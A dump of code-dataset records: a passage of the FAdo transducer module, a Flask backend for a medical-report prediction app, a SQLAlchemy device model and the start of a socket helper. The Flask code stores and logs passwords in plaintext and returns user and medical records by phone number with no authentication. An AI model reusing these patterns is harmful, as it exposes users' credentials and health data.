self.States[sti])\n isti = new.stateIndex(nsti, True)\n nsto = (0, self.States[sto])\n isto = new.stateIndex(nsto, True)\n new.addTransition(isti, syi, syo, isto)\n for sti in self.Initial:\n new.addInitial(new.stateIndex((0, self.States[sti]), True))\n for sti in other.delta:\n for syi in other.delta[sti]:\n for (syo, sto) in other.delta[sti][syi]:\n nsti = (1, other.States[sti])\n isti = new.stateIndex(nsti, True)\n nsto = (1, other.States[sto])\n isto = new.stateIndex(nsto, True)\n new.addTransition(isti, syi, syo, isto)\n for sti in other.Final:\n new.addFinal(new.stateIndex((1, other.States[sti]), True))\n for sti in self.Final:\n for sto in other.Initial:\n new.addTransition(new.stateIndex((0, self.States[sti])),\n Epsilon, Epsilon,\n new.stateIndex((1, other.States[sto])))\n return new\n\n def star(self, flag=False):\n \"\"\"Kleene star\n\n :param bool flag: plus instead of star\n :returns: the resulting Transducer\n :rtype: SFT\"\"\"\n new = SFT()\n for sti in self.delta:\n for syi in self.delta[sti]:\n for (syo, sto) in self.delta[sti][syi]:\n nsti = (0, self.States[sti])\n isti = new.stateIndex(nsti, True)\n nsto = (0, self.States[sto])\n isto = new.stateIndex(nsto, True)\n new.addTransition(isti, syi, syo, isto)\n stin = new.addState('Initial')\n new.addInitial(stin)\n for so in self.Initial:\n iso = new.stateIndex((0, self.States[so]))\n new.addTransition(stin, Epsilon, Epsilon, iso)\n for so in self.Final:\n iso = new.stateIndex((0, self.States[so]))\n new.addTransition(iso, Epsilon, Epsilon, stin)\n new.addFinal(iso)\n if not flag:\n new.addFinal(stin)\n return new\n\n def toInNFA(self):\n \"\"\"Delete the output labels in the transducer. Translate it into an NFA\n\n :rtype: NFA\"\"\"\n aut = fa.NFA()\n aut.setSigma(self.Sigma)\n aut.States = copy.copy(self.States)\n aut.setInitial(self.Initial)\n aut.setFinal(self.Final)\n for s in list(self.delta.keys()):\n aut.delta[s] = {}\n for c in self.delta[s]:\n aut.delta[s][c] = set([x for (_, x) in self.delta[s][c]])\n return aut\n\n def toOutNFA(self):\n \"\"\"Returns the result of considering the output symbols of the transducer as input symbols of a NFA (ignoring\n the input symbol, thus)\n\n :return: the NFA\n :rtype: NFA\"\"\"\n return self.inverse().toInNFA()\n\n def runOnWord(self, word):\n \"\"\"Returns the automaton accepting the outup of the transducer on the input word\n\n :param word: the word\n :rtype: NFA\"\"\"\n lang = fl.FL([word])\n return self.runOnNFA(lang.trieFA().toNFA())\n\n def __and__(self, other):\n return self.inIntersection(other)\n\n def inIntersection(self, other):\n \"\"\" Conjunction of transducer and automata: X & Y.\n\n :param DFA|NFA other: the automata needs to be operated.\n :rtype: SFT\"\"\"\n if isinstance(other, fa.DFA):\n nother = other.toNFA().renameStates()\n elif isinstance(other, fa.NFA):\n nother = other.renameStates()\n else:\n raise common.FAdoGeneralError(\"Incompatible objects\")\n et, en = self.epsilonP(), nother.epsilonP()\n if en:\n par1 = self.dup()\n par1.addEpsilonLoops()\n else:\n par1 = self\n if et:\n par2 = nother.dup()\n par2.addEpsilonLoops()\n else:\n par2 = nother\n new = par1.productInput(par2)\n for x in [(par1.States[a], par2.States[b]) for a in par1.Final for b in par2.Final]:\n if x in new.States:\n new.addFinal(new.stateIndex(x))\n return new\n\n def productInput(self, other):\n \"\"\"Returns a transducer (skeleton) resulting from the execution of the transducer with the automaton as\n filter on the input.\n\n :param NFA other: the automaton used as filter\n :rtype: SFT\"\"\"\n new = SFT()\n new.setSigma(self.Sigma.union(other.Sigma))\n notDone = set()\n done = set()\n for s1 in [self.States[x] for x in self.Initial]:\n for s2 in [other.States[x] for x in other.Initial]:\n sname = (s1, s2)\n sti = new.addState(sname)\n new.addInitial(sti)\n notDone.add(sname)\n while notDone:\n state = notDone.pop()\n done.add(state)\n (s1, s2) = state\n sti = new.stateIndex(state)\n (i1, i2) = (self.stateIndex(s1), other.stateIndex(s2))\n (k1, k2) = (self.inputS(i1), other.inputS(i2))\n for k in k1.intersection(k2):\n for (symo, o1) in self.delta[i1][k]:\n for o2 in other.delta[i2][k]:\n new.addTransitionQ(sti, (self.States[o1], other.States[o2]), k, symo, notDone, done)\n return new\n\n def composition(self, other):\n \"\"\"Composition operation of a transducer with a transducer.\n\n :param SFT other: the second transducer\n :rtype: SFT\"\"\"\n if type(other) != SFT:\n raise common.FAdoGeneralError(\"Incompatible objects\")\n new = SFT()\n notDone = set()\n done = set()\n e1, e2 = self.epsilonOutP(), other.epsilonP()\n if e1:\n par2 = copy.deepcopy(other)\n par2.addEpsilonLoops()\n else:\n par2 = other\n if e2:\n par1 = copy.deepcopy(self)\n par1.addEpsilonLoops()\n else:\n par1 = self\n for s1 in [par1.States[x] for x in par1.Initial]:\n for s2 in [par2.States[x] for x in par2.Initial]:\n sname = (s1, s2)\n sti = new.addState(sname)\n new.addInitial(sti)\n notDone.add(sname)\n while notDone:\n state = notDone.pop()\n done.add(state)\n (s1, s2) = state\n i = new.stateIndex(state)\n (i1, i2) = (par1.stateIndex(s1), par2.stateIndex(s2))\n (k1, k2) = (par1.outputS(i1), par2.inputS(i2))\n K = k1.intersection(k2)\n for s in par1.delta.get(i1, []):\n for (so1, o1) in par1.delta[i1][s]:\n if so1 in K:\n for (so2, o2) in par2.delta[i2][so1]:\n new.addTransitionQ(i, (par1.States[o1], par1.States[o2]), s, so2, notDone, done)\n for x in [(par1.States[a], par2.States[b]) for a in par1.Final for b in par2.Final]:\n if x in new.States:\n new.addFinal(new.stateIndex(x))\n return new\n\n def functionalP(self):\n \"\"\"Tests if a transducer is functional using Allauzer & Mohri and Béal&Carton&Prieur&Sakarovitch algorithms.\n\n :rtype: bool\n\n .. seealso:: Cyril Allauzer and Mehryar Mohri, Journal of Automata Languages and Combinatorics,\n Efficient Algorithms for Testing the Twins Property, 8(2): 117-144, 2003.\n\n .. seealso:: M.P. Béal, O. Carton, C. Prieur and J. Sakarovitch. Squaring transducers: An efficient\n procedure for deciding functionality and sequentiality. Theoret. Computer Science 292:1 (2003), 45-63.\n\n .. note::\n This is implemented using nonFunctionalW()\"\"\"\n return self.nonFunctionalW() == (None, None, None)\n\n def _functionalP(self):\n \"\"\"\n\n :rtype: bool\"\"\"\n notDone = []\n done = {}\n for s in self.Initial:\n notDone.append(s)\n done[s] = (Epsilon, Epsilon)\n while notDone:\n sti = notDone.pop()\n (preInput, preOutput) = done[sti]\n if sti in self.delta:\n for symi in self.delta[sti]:\n for (symo, sto) in self.delta[sti][symi]:\n if preInput == Epsilon:\n newInput = symi\n elif symi == Epsilon:\n newInput = preInput\n else:\n newInput = preInput + symi\n if preOutput == Epsilon:\n newOutput = symo\n elif symo == Epsilon:\n newOutput = preOutput\n else:\n newOutput = preOutput + symo\n if newOutput.startswith(newInput):\n if newInput == newOutput:\n newInput = newOutput = Epsilon\n else:\n newOutput = newOutput[len(newInput):]\n newInput = Epsilon\n elif newInput.startswith(newOutput):\n if newInput == newOutput:\n newInput = newOutput = Epsilon\n else:\n newInput = newInput[len(newOutput):]\n newOutput = Epsilon\n else:\n if newInput != Epsilon and newOutput != Epsilon and newInput != newOutput:\n return False\n if sto in self.Final and (newInput != Epsilon or newOutput != Epsilon):\n return False\n if sto not in done:\n notDone.append(sto)\n done[sto] = (newInput, newOutput)\n else:\n if done[sto] == (newInput, newOutput):\n continue\n else:\n return False\n return True\n\n def runOnNFA(self, nfa):\n \"\"\"Result of applying a transducer to an automaton\n\n :param DFA|NFA nfa: input language to transducer\n :return: resulting language\n :rtype: NFA\"\"\"\n return self.inIntersection(nfa).toOutNFA()\n\n def outIntersectionDerived(self, other):\n \"\"\"Naive version of outIntersection\n\n :param DFA|NFA other: the automaton used as a filter of the output\n :rtype: SFT\"\"\"\n return (self.inverse() & other).inverse()\n\n def outIntersection(self, other):\n \"\"\"Conjunction of transducer and automaton: X & Y using output intersect operation.\n\n :param DFA|NFA other: the automaton used as a filter of the output\n :rtype: SFT\"\"\"\n foo = other.toNFA().renameStates()\n new = SFT()\n new.Output = set(self.Output.union(foo.Sigma))\n notDone = set()\n done = set()\n for s1 in [self.States[x] for x in self.Initial]:\n for s2 in [foo.States[x] for x in foo.Initial]:\n sname = (s1, s2)\n new.addState(sname)\n new.addInitial(new.stateIndex(sname))\n notDone.add((s1, s2))\n e1, e2 = self.epsilonOutP(), foo.epsilonP()\n if e1:\n par2 = foo.dup()\n par2.addEpsilonLoops()\n else:\n par2 = foo\n if e2:\n par1 = self.dup()\n par1.addEpsilonLoops()\n else:\n par1 = self\n while notDone:\n state = notDone.pop()\n done.add(state)\n (s1, s2) = state\n i = new.stateIndex(state)\n (i1, i2) = (par1.stateIndex(s1), par2.stateIndex(s2))\n (k1, k2) = (par1.outputS(i1), par2.inputS(i2))\n K = k1.intersection(k2)\n for s in par1.delta.get(i1, []):\n for (symo, sout1) in par1.delta[i1][s]:\n if symo in K:\n for sout2 in par2.delta[i2][symo]:\n new.addTransitionQ(i, (par1.States[sout1], par2.States[sout2]), s, symo, notDone, done)\n for x in [(par1.States[a], par2.States[b]) for a in par1.Final for b in par2.Final]:\n if x in new.States:\n new.addFinal(new.stateIndex(x))\n return new\n\n def inverse(self):\n \"\"\"Switch the input label with the output label.\n\n No initial or final state changed.\n\n :return: Transducer with transitions switched.\n :rtype: SFT\"\"\"\n new = SFT()\n new.States = self.States\n new.setFinal(self.Final)\n new.setInitial(list(self.Initial))\n new.setSigma(set(self.Output))\n new.Output = set(self.Sigma)\n for src in self.delta:\n for symi in self.delta[src]:\n for (symo, out) in self.delta[src][symi]:\n new.addTransition(src, symo, symi, out)\n return new\n\n def reversal(self):\n \"\"\"Returns a transducer that recognizes the reversal of the relation.\n\n :return: Transducer recognizing reversal language\n :rtype: SFT\"\"\"\n new = SFT()\n new.States = list(self.States)\n new.setFinal(set(self.Initial))\n new.setInitial(list(self.Final))\n new.setSigma(set(self.Output))\n new.Output = set(self.Sigma)\n for src in self.delta:\n for symi in self.delta[src]:\n for (symo, out) in self.delta[src][symi]:\n new.addTransition(out, symo, symi, src)\n return new\n\n def epsilonP(self):\n \"\"\"Test whether this transducer has input epsilon-transitions\n\n :rtype: bool\"\"\"\n for s in self.delta:\n if Epsilon in self.delta[s]:\n return True\n return False\n\n def addEpsilonLoops(self):\n \"\"\"Add a loop transition with epsilon input and output to every state in the transducer.\"\"\"\n for i in range(len(self.States)):\n self.addTransition(i, Epsilon, Epsilon, i)\n\n def evalWordP(self, wp):\n \"\"\"Tests whether the transducer returns the second word using the first one as input\n\n :param tuple wp: pair of words\n :rtype: bool\"\"\"\n from . import fl\n (win, wout) = wp\n inT = self.inIntersection(fl.FL([win]).trieFA().toNFA())\n return not inT.outIntersection(fl.FL([wout]).trieFA().toNFA()).emptyP()\n\n def emptyP(self):\n \"\"\"Tests if the relation realized the empty transducer\n\n :rtype: bool\"\"\"\n return self.toInNFA().emptyP()\n\n def nonEmptyW(self):\n \"\"\"Witness of non emptyness\n\n :return: pair (in-word, out-word)\n :rtype: tuple\"\"\"\n done = set()\n notDone = set()\n pref = dict()\n for si in self.Initial:\n pref[si] = (Epsilon, Epsilon)\n notDone.add(si)\n while notDone:\n si = notDone.pop()\n done.add(si)\n if si in self.Final:\n return pref[si]\n for syi in self.delta.get(si, []):\n for (syo, so) in self.delta[si][syi]:\n if so in done or so in notDone:\n continue\n pref[so] = concatN(pref[si], (syi, syo))\n notDone.add(so)\n return None, None\n\n def nonFunctionalW(self):\n \"\"\"Returns a witness of non funcionality (if is that the case) or a None filled triple\n\n :return: witness\n :rtype: tuple\"\"\"\n def _len(a):\n if a == Epsilon:\n return 0\n else:\n return len(a)\n\n def _suffix(a, b):\n if a == b:\n return Epsilon\n elif _len(a) > _len(b):\n return \"\"\n else:\n if a == Epsilon:\n return b\n elif a == b[:len(a)]:\n return b[len(a):]\n else:\n return \"\"\n\n def _newSValue(xxx_todo_changeme, xxx_todo_changeme1):\n (v1, v2) = xxx_todo_changeme\n (r1, r2) = xxx_todo_changeme1\n a, b = concatN((v1, v2), (r1, r2))\n s = _suffix(a, b)\n if s == Epsilon:\n return Epsilon, Epsilon\n if s:\n return Epsilon, s\n s = _suffix(b, a)\n if s:\n return s, Epsilon\n else:\n raise ZERO()\n\n def _completeCE(state, res, l):\n if state in sq.Final:\n return res\n for sy in sq.delta[state]:\n (i1, (o1, o2)) = sy\n for sto in sq.delta[state][sy]:\n if sto not in l:\n r = _completeCE(sto, concatN(res, (i1, o1, o2)), l + [sto])\n if r:\n return r\n return None\n\n if self.epsilonP() or self.epsilonOutP():\n wtrand = self.dup()\n wtrand.addEpsilonLoops()\n else:\n wtrand = self\n sq = wtrand.square_fv()\n sq.trim()\n valuei, svalue, done, notDone = dict(), dict(), set(), set()\n for sti in sq.Initial:\n notDone.add(sti)\n svalue[sti] = Epsilon, Epsilon\n valuei[sti] = Epsilon, Epsilon, Epsilon\n while notDone:\n sti = notDone.pop()\n done.add(sti)\n v = svalue[sti]\n for j in sq.delta.get(sti, []):\n (si, (s1, s2)) = j\n for o in sq.delta[sti][j]:\n vi = concatN(valuei[sti], (si, s1, s2))\n try:\n vo = _newSValue(v, (s1, s2))\n if o in sq.Final and vo != (Epsilon, Epsilon):\n raise ZERO()\n if o in svalue and svalue[o] != vo:\n suf = _completeCE(o, (Epsilon, Epsilon, Epsilon), [o])\n foo = concatN(vi, suf)\n if foo[1] == foo[2]:\n return concatN(valuei[o], suf)\n else:\n return foo\n except ZERO:\n suf = _completeCE(o, (Epsilon, Epsilon, Epsilon), [o])\n if not suf:\n raise common.TRError()\n return concatN(vi, suf)\n valuei[o] = vi\n svalue[o] = vo\n if o not in done:\n notDone.add(o)\n return None, None, None\n\n def square(self):\n \"\"\"Conjunction of transducer with itself\n\n :rtype: NFA\"\"\"\n new = fa.NFA()\n notDone = set()\n done = set()\n for s1 in [self.States[x] for x in self.Initial]:\n for s2 in [self.States[x] for x in self.Initial]:\n sname = (s1, s2)\n i = new.addState(sname)\n new.addInitial(i)\n notDone.add((s1, s2))\n while notDone:\n state = notDone.pop()\n done.add(state)\n (s1, s2) = state\n i = new.stateIndex(state)\n (i1, i2) = (self.stateIndex(s1), self.stateIndex(s2))\n (k1, k2) = (self.inputS(i1), self.inputS(i2))\n if i1 in self.Final and i2 in self.Final:\n new.addFinal(i)\n K = k1.intersection(k2)\n for syin in K:\n for (syout, sout) in self.delta[i1][syin]:\n for (syout2, sout2) in self.delta[i2][syin]:\n stoutr = (self.States[sout], self.States[sout2])\n new.addTransitionQ(i, stoutr, (syin, (syout, syout2)), notDone, done)\n return new\n\n def square_fv(self):\n \"\"\"Conjunction of transducer with itself (Fast Version)\n\n :rtype: NFA\"\"\"\n new = fa.NFA()\n notDone = set()\n done = set()\n for s1 in self.Initial:\n for s2 in self.Initial:\n sname = (s1, s2)\n i = new.addState(sname)\n new.addInitial(i)\n notDone.add(sname)\n while notDone:\n state = notDone.pop()\n done.add(state)\n (i1, i2) = state\n i = new.stateIndex(state)\n (k1, k2) = (self.inputS(i1), self.inputS(i2))\n if i1 in self.Final and i2 in self.Final:\n new.addFinal(i)\n K = k1.intersection(k2)\n for syin in K:\n for (syout, sout) in self.delta[i1][syin]:\n for (syout2, sout2) in self.delta[i2][syin]:\n stoutr = (sout, sout2)\n new.addTransitionQ(i, stoutr, (syin, (syout, syout2)), notDone, done)\n return new\n\n def epsilonOutP(self):\n \"\"\"Tests if epsilon occurs in transition outputs\n\n :rtype: bool\"\"\"\n for i in self.delta:\n for c in self.delta[i]:\n for (out, _) in self.delta[i][c]:\n if out == Epsilon:\n return True\n return False\n\n\nclass NFT(SFT):\n \"\"\"Normal Form Transducer.\n\n Transsitions here have labels of the form (s,Epsilon) or (Epsilon,s)\n\n .. inheritance-diagram:: SFT\"\"\"\n pass\n\n\ndef infixTransducer(alphabet, preserving=False):\n \"\"\"Creates an infix property transducer based on given alphabet\n\n :param bool preserving: input preserving transducer, else input altering\n :param list|set alphabet: alphabet\n :rtype: SFT \"\"\"\n t = SFT()\n t.setSigma(alphabet)\n t.setOutput(alphabet)\n for _ in range(5):\n t.addState()\n t.addInitial(0)\n for a in t.Sigma:\n t.addTransition(0, a, Epsilon, 1)\n t.addTransition(1, a, Epsilon, 1)\n t.addTransition(1, a, a, 2)\n t.addTransition(2, a, a, 2)\n t.addTransition(2, a, Epsilon, 3)\n t.addTransition(3, a, Epsilon, 3)\n t.addTransition(0, a, a, 4)\n t.addTransition(4, a, a, 4)\n t.addTransition(4, a, Epsilon, 3)\n if preserving:\n t.setFinal({0, 1, 2, 3, 4})\n else:\n t.setFinal({1, 2, 3})\n return t\n\n\ndef prefixTransducer(alphabet, preserving=False):\n \"\"\"Creates an prefix property transducer based on given alphabet\n\n :param bool preserving: input preserving transducer, else input altering\n :param list|set alphabet: alphabet\n :rtype: SFT \"\"\"\n t = SFT()\n t.setSigma(alphabet)\n t.setOutput(alphabet)\n initial = t.stateIndex(0, True)\n final = t.stateIndex(1, True)\n t.addInitial(initial)\n t.addFinal(final)\n for i in alphabet:\n t.addTransition(initial, i, i, initial)\n t.addTransition(initial, i, Epsilon, final)\n t.addTransition(final, i, Epsilon, final)\n if preserving:\n t.addFinal(initial)\n return t\n\n\ndef suffixTransducer(alphabet, preserving=False):\n \"\"\"Creates an suffix property transducer based on given alphabet\n\n :param bool preserving: input preserving transducer, else input altering\n :param list|set alphabet: alphabet\n :rtype: SFT \"\"\"\n t = SFT()\n t.setSigma(alphabet)\n t.setOutput(alphabet)\n initial = t.stateIndex(0, True)\n final = t.stateIndex(1, True)\n t.addInitial(initial)\n t.addFinal(final)\n for i in alphabet:\n t.addTransition(initial, i, Epsilon, initial)\n t.addTransition(initial, i, Epsilon, final)\n t.addTransition(final, i, i, final)\n if preserving:\n t.addFinal(initial)\n return t\n\n\ndef outfixTransducer(alphabet, preserving=False):\n \"\"\"Creates an outfix property transducer based on given alphabet\n\n :param bool preserving: input preserving transducer, else input altering\n :param list|set alphabet: alphabet\n :rtype: SFT \"\"\"\n t = SFT()\n t.setSigma(alphabet)\n t.setOutput(alphabet)\n initial = t.stateIndex(0, True)\n middle = t.stateIndex(1, True)\n final = t.stateIndex(2, True)\n t.addInitial(initial)\n t.addFinal(middle)\n t.addFinal(final)\n for i in alphabet:\n t.addTransition(initial, i, i, initial)\n t.addTransition(initial, i, Epsilon, middle)\n t.addTransition(middle, i, Epsilon, middle)\n t.addTransition(middle, i, i, final)\n t.addTransition(final, i, i, final)\n if preserving:\n t.addFinal(initial)\n return t\n\n\ndef hypercodeTransducer(alphabet, preserving=False):\n \"\"\"Creates an hypercode property transducer based on given alphabet\n\n :param bool preserving: input preserving transducer, else input altering\n :param list|set alphabet: alphabet\n :rtype: SFT \"\"\"\n t = SFT()\n t.setSigma(alphabet)\n t.setOutput(alphabet)\n initial = t.stateIndex(0, True)\n final = t.stateIndex(1, True)\n t.addInitial(initial)\n t.addFinal(final)\n for i in alphabet:\n t.addTransition(initial, i, i, initial)\n t.addTransition(initial, i, Epsilon, final)\n t.addTransition(final, i, Epsilon, final)\n t.addTransition(final, i, i, final)\n if preserving:\n t.addFinal(initial)\n return t\n","repo_name":"0xnurl/fado-python3","sub_path":"FAdo/transducers.py","file_name":"transducers.py","file_ext":"py","file_size_in_byte":41994,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"39"} +{"seq_id":"37052117391","text":"from HBA1CFBS import hba1c_fbs_summarize, fbs_hba1c_summarize\nfrom TSHT4 import tsh_t4_summarize, t4_tsh_summarize\nfrom HBA1CPPBS import hba1c_ppbs_summarize, ppbs_hba1c_summarize\nfrom flask import Flask, request, jsonify, session\nfrom db_connection import connect_to_database\nfrom flask_cors import CORS\nimport datetime\nimport secrets\n\napp = Flask(__name__)\nCORS(app)\n\n# Set the secret key for session management\napp.secret_key = secrets.token_hex(16)\n\n# Global variables to store the results\nprediction_result = \"\"\ndatabase_info_result = {}\nmatching_info_result = {}\n\n# Add your MongoDB configuration\nclient, db, collection, users_collection, records_collection = connect_to_database()\n\n\n# For generating the prediction and displaying the needed records\n@app.route('/predict', methods=['POST', 'GET'])\ndef predict():\n global prediction_result, database_info_result, matching_info_result\n\n if request.method == 'POST':\n try:\n # Get data from the POST request\n data = request.json\n print(\"Received data:\", data)\n\n # Extract report_type1 and report_type2 from the data\n report_type1 = data.get('report_type1', '').upper()\n report_type2 = data.get('report_type2', '').upper()\n\n # Extract value1 and value2 from the data\n value1 = float(data.get('value1', 0.00))\n value2 = float(data.get('value2', 0.00))\n\n # Logic to choose the appropriate model based on report types\n if report_type1 == 'TSH' and report_type2 == 'T4':\n prediction_result, database_info_result, matching_info_result = tsh_t4_summarize(value1, value2,\n report_type1,\n report_type2)\n elif report_type1 == 'T4' and report_type2 == 'TSH':\n prediction_result, database_info_result, matching_info_result = t4_tsh_summarize(value1, value2,\n report_type1,\n report_type2)\n elif report_type1 == 'HBA1C' and report_type2 == 'PPBS':\n prediction_result, database_info_result, matching_info_result = hba1c_ppbs_summarize(value1, value2,\n report_type1,\n report_type2)\n elif report_type1 == 'PPBS' and report_type2 == 'HBA1C':\n prediction_result, database_info_result, matching_info_result = ppbs_hba1c_summarize(value1, value2,\n report_type1,\n report_type2)\n elif report_type1 == 'HBA1C' and report_type2 == 'FBS':\n prediction_result, database_info_result, matching_info_result = hba1c_fbs_summarize(value1, value2,\n report_type1,\n report_type2)\n elif report_type1 == 'FBS' and report_type2 == 'HBA1C':\n prediction_result, database_info_result, matching_info_result = fbs_hba1c_summarize(value1, value2,\n report_type1,\n report_type2)\n else:\n return jsonify({'error': 'Invalid report types'}), 400\n\n # Convert prediction_result to uppercase\n prediction_result = prediction_result.upper()\n\n return jsonify({'message': 'Prediction and data saved successfully'}), 200\n except Exception as e:\n return jsonify({'error': str(e)}), 500\n elif request.method == 'GET':\n # Handle GET request to retrieve data\n\n data = {\n 'prediction': prediction_result,\n 'matching_info': matching_info_result # Return split matching_info\n }\n return jsonify(data), 200\n\n\n# For generating the prediction and displaying the needed records\n@app.route('/predictlogin/<phone_number>', methods=['POST', 'GET'])\ndef predictlogin(phone_number):\n global prediction_result, database_info_result, matching_info_result\n\n if request.method == 'POST':\n try:\n # Get data from the POST request\n data = request.json\n print(\"Received data:\", data)\n\n # Extract report_type1 and report_type2 from the data\n report_type1 = data.get('report_type1', '').upper()\n report_type2 = data.get('report_type2', '').upper()\n\n # Extract value1 and value2 from the data\n value1 = float(data.get('value1', 0.00))\n value2 = float(data.get('value2', 0.00))\n\n session['phone_number'] = phone_number\n print(\"Session phone_number:\", session.get('phone_number'))\n\n # Logic to choose the appropriate model based on report types\n if report_type1 == 'TSH' and report_type2 == 'T4':\n prediction_result, database_info_result, matching_info_result = tsh_t4_summarize(value1, value2,\n report_type1,\n report_type2)\n elif report_type1 == 'T4' and report_type2 == 'TSH':\n prediction_result, database_info_result, matching_info_result = t4_tsh_summarize(value1, value2,\n report_type1,\n report_type2)\n elif report_type1 == 'HBA1C' and report_type2 == 'PPBS':\n prediction_result, database_info_result, matching_info_result = hba1c_ppbs_summarize(value1, value2,\n report_type1,\n report_type2)\n elif report_type1 == 'PPBS' and report_type2 == 'HBA1C':\n prediction_result, database_info_result, matching_info_result = ppbs_hba1c_summarize(value1, value2,\n report_type1,\n report_type2)\n elif report_type1 == 'HBA1C' and report_type2 == 'FBS':\n prediction_result, database_info_result, matching_info_result = hba1c_fbs_summarize(value1, value2,\n report_type1,\n report_type2)\n elif report_type1 == 'FBS' and report_type2 == 'HBA1C':\n prediction_result, database_info_result, matching_info_result = fbs_hba1c_summarize(value1, value2,\n report_type1,\n report_type2)\n else:\n return jsonify({'error': 'Invalid report types'}), 400\n\n # Convert prediction_result to uppercase\n prediction_result = prediction_result.upper()\n\n # Save records only if the user is logged in\n if 'phone_number' in session:\n current_datetime = datetime.datetime.now()\n date = current_datetime.strftime('%Y-%m-%d')\n time = current_datetime.strftime('%H:%M:%S')\n\n record_data = {\n 'report_type1': report_type1,\n 'report_type2': report_type2,\n 'report_value1': value1,\n 'report_value2': value2,\n 'prediction': prediction_result,\n 'phone_number': session['phone_number'],\n 'date': date,\n 'time': time\n }\n\n # Example debug statements\n\n print(\"Record data:\", record_data)\n\n records_collection.insert_one(record_data)\n\n return jsonify({'message': 'Prediction and data saved successfully'}), 200\n except Exception as e:\n return jsonify({'error': str(e)}), 500\n elif request.method == 'GET':\n # Handle GET request to retrieve data\n\n data = {\n 'prediction': prediction_result,\n 'matching_info': matching_info_result # Return split matching_info\n }\n return jsonify(data), 200\n\n\n# For user login\n@app.route('/login', methods=['POST'])\ndef login():\n data = request.json\n phone_number = data.get('phone_number')\n provided_password = data.get('password')\n\n # Retrieve user from the database using the phone number\n user = users_collection.find_one({\"phone_number\": phone_number})\n\n if user:\n # Retrieve the stored password from the user object\n stored_password = user.get(\"password\")\n\n # Print the original provided and stored passwords (without hash)\n print(\"Provided Password (Without Hash):\", provided_password)\n print(\"Stored Password (Without Hash):\", stored_password)\n\n # Compare the provided password with the stored password in plaintext (unhashed) form\n if stored_password == provided_password:\n # Password is correct\n session['phone_number'] = phone_number\n return jsonify({'message': 'Login successful'}), 200\n else:\n return jsonify({'error': 'Invalid credentials'}), 401\n else:\n return jsonify({'error': 'Invalid credentials'}), 401\n\n\n# Get information about the user\n@app.route('/get_user_data/<phone_number>', methods=['GET'])\ndef get_user_data(phone_number):\n try:\n # Find the user based on the provided phone number\n user = users_collection.find_one({\"phone_number\": phone_number})\n\n if user:\n # Remove the '_id' field, as it's not serializable to JSON\n user.pop('_id', None)\n return jsonify(user), 200\n else:\n return jsonify({'error': 'User not found'}), 404\n except Exception as e:\n return jsonify({'error': str(e)}), 500\n\n\n# Get the medical data of the user\n@app.route('/get_records/<phone_number>', methods=['GET'])\ndef get_records(phone_number):\n try:\n # Find records based on the provided phone number\n records = records_collection.find({\"phone_number\": phone_number})\n\n # Convert records to a list and remove the '_id' field\n records = [record for record in records]\n for record in records:\n record.pop('_id', None)\n\n return jsonify(records), 200\n except Exception as e:\n return jsonify({'error': str(e)}), 500\n\n\n# User Registration\n@app.route('/register', methods=['POST'])\ndef register():\n data = request.json\n first_name = data.get('first_name')\n last_name = data.get('last_name')\n email = data.get('email')\n phone_number = data.get('phone_number')\n password = data.get('password')\n\n # Check if the user with the same phone number already exists\n existing_user = users_collection.find_one({\"phone_number\": phone_number})\n if existing_user:\n return jsonify({'error': 'User with this phone number already exists'}), 400\n\n # Insert the new user into the Users collection\n new_user = {\n 'first_name': first_name,\n 'last_name': last_name,\n 'email': email,\n 'phone_number': phone_number,\n 'password': password, # You should hash the password here\n\n }\n users_collection.insert_one(new_user)\n\n return jsonify({'message': 'Registration successful'}), 201\n\n\nif __name__ == '__main__':\n app.run(port=5000, debug=True)","repo_name":"hnsemage/Final-Research-Project","sub_path":"Backend/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"6342429103","text":"# -*- coding: utf-8 -*-\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy import func\nfrom config import app_config, app_active\nfrom model.User import User\n\nconfig = app_config[app_active]\n\ndb = SQLAlchemy(config.APP)\n\nconfig = app_config[app_active]\n\ndb = SQLAlchemy(config.APP)\n\nclass Device(db.Model):\n id=db.Column(db.Integer,primary_key=True)\n name=db.Column(db.String(20),unique=True,nullable=False)\n description=db.Column(db.Text(),nullable=False)\n ip=db.Column(db.String(15),nullable=False)\n ip_broker=db.Column(db.String(15),nullable=False)\n date_created=db.Column(db.DateTime(6),default=db.func.current_timestamp(),nullable=False)\n last_update=db.Column(db.DateTime(6),onupdate=db.func.current_timestamp(),nullable=False)\n status=db.Column(db.Boolean(),default=1,nullable=True)\n user_created=db.Column(db.Integer,db.ForeignKey(User.id),nullable=False)\n usuario=relationship(User)\n\n def get_all():\n try:\n res = db.session.query(Device).all()\n except Exception as e:\n res = []\n print(e)\n finally:\n db.session.close()\n return res\n \n def save(self):\n try:\n db.session.add(self)\n db.session.commit()\n return True\n except Exception as e:\n print(e)\n db.session.rollback()\n return False\n \n def update(self, obj):\n try:\n res = db.session.query(Device).filter(Device.id == self.id).update(obj)\n db.session.commit()\n return True\n except Exception as e:\n print(e)\n db.session.rollback()\n return False\n\n def get_total_devices(self):\n try:\n res = db.session.query(func.count(Device.id)).first()\n except Exception as e:\n res = []\n print(e)\n finally:\n db.session.close()\n return res\n \n def get_last_devices(self):\n try:\n res = db.session.query(Device).order_by(Device.date_created).limit(5).all()\n except Exception as e:\n res = []\n print(e)\n finally:\n db.session.close()\n return res\n \n def get_all(self, limit):\n try:\n if limit is None:\n res = db.session.query(Device).all()\n else:\n res = db.session.query(Device).order_by(Device.date_created).limit(limit).all()\n except Exception as e:\n res = []\n print(e)\n finally:\n db.session.close()\n return res\n \n def get_device_by_id(self):\n try:\n res = db.session.query(Device).filter(Device.id==self.id).first()\n except Exception as e:\n res = None\n print(e)\n finally:\n db.session.close()\n return res\n \n def __repr__(self):\n return self.name","repo_name":"ericalbertodasilva/init_mqtt_joao","sub_path":"backend/model/Device.py","file_name":"Device.py","file_ext":"py","file_size_in_byte":2985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"71845141873","text":"#!/usr/bin/env python\n\"\"\"Common business logic for socket interactions\"\"\"\n\n# --- Global Socket Commands ---\n# socket_hostname Returns hostname string\n\n# --- SocketContext Class Commands ---\n# socket_open Connect to hostname/port as server or client\n# socket_close Close future requests and shutdown connection\n# socket_send_data Send data to socket\n# socket_receive_data Retrieve data from socket\n# socket_next_client Returns the next client's socket connection and address\n\nimport argparse\nimport socket\n\nimport logging_boilerplate as 